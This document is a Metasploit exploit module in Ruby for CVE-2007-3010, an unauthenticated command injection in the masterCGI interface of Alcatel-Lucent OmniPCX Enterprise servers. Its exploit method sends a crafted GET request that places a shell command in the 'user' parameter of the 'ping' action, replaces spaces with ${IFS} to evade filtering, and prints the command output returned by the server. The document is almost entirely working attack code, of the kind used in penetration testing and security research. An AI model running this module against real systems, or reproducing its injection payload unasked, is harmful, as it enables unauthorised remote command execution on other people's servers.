Alcatel-Lucent OmniPCX Enterprise masterCGI Arbitrary Command Execution

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Tcp  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'Alcatel-Lucent OmniPCX Enterprise masterCGI Arbitrary Command Execution',  
'Description' => %q{  
This module abuses a metacharacter injection vulnerability in the  
HTTP management interface of the Alcatel-Lucent OmniPCX Enterprise  
Communication Server 7.1 and earlier. The Unified Maintenance Tool  
contains a 'masterCGI' binary which allows an unauthenticated attacker  
to execute arbitrary commands by specifing shell metacharaters as the  
'user' within the 'ping' action to obtain 'httpd' user access. This  
module only supports command line payloads, as the httpd process kills  
the reverse/bind shell spawn after the HTTP 200 OK response.  
},  
'Author' => [ 'patrick' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'OSVDB', '40521' ],  
[ 'BID', '25694' ],  
[ 'CVE', '2007-3010' ],  
[ 'URL', 'http://www1.alcatel-lucent.com/psirt/statements/2007002/OXEUMT.htm' ],  
],  
'Platform' => ['unix'],  
'Arch' => ARCH_CMD,   
'Privileged' => false,  
'Payload' =>  
{  
'Space' => 1024,  
'DisableNops' => true,  
'Compat' =>  
{  
'PayloadType' => 'cmd',  
'RequiredCmd' => 'generic'  
}  
},  
'Targets' =>   
[  
[ 'Automatic Target', { }]  
],  
'DefaultTarget' => 0))  
  
register_options(  
[  
Opt::RPORT(443),  
OptBool.new('SSL', [true, 'Use SSL', true]),  
], self.class)  
end  
  
def exploit  
connect  
  
cmd = payload.encoded.gsub(" ", '${IFS}')  
req =   
"GET /cgi-bin/masterCGI?ping=nomip&user=;#{cmd}; HTTP/1.1\r\n" +  
"Host: #{rhost}\r\n\r\n"  
  
print_status("Sending GET request with command line payload...")  
sock.put(req)  
  
res = sock.get(3,3)  
  
if (res =~ /<h5>(.*)<\/h5>/smi)  
out = $1  
print_line(out.gsub(/<h5>|<\/h5>/, ''))  
return  
end  
  
handler  
disconnect  
end  
  
end  
  
`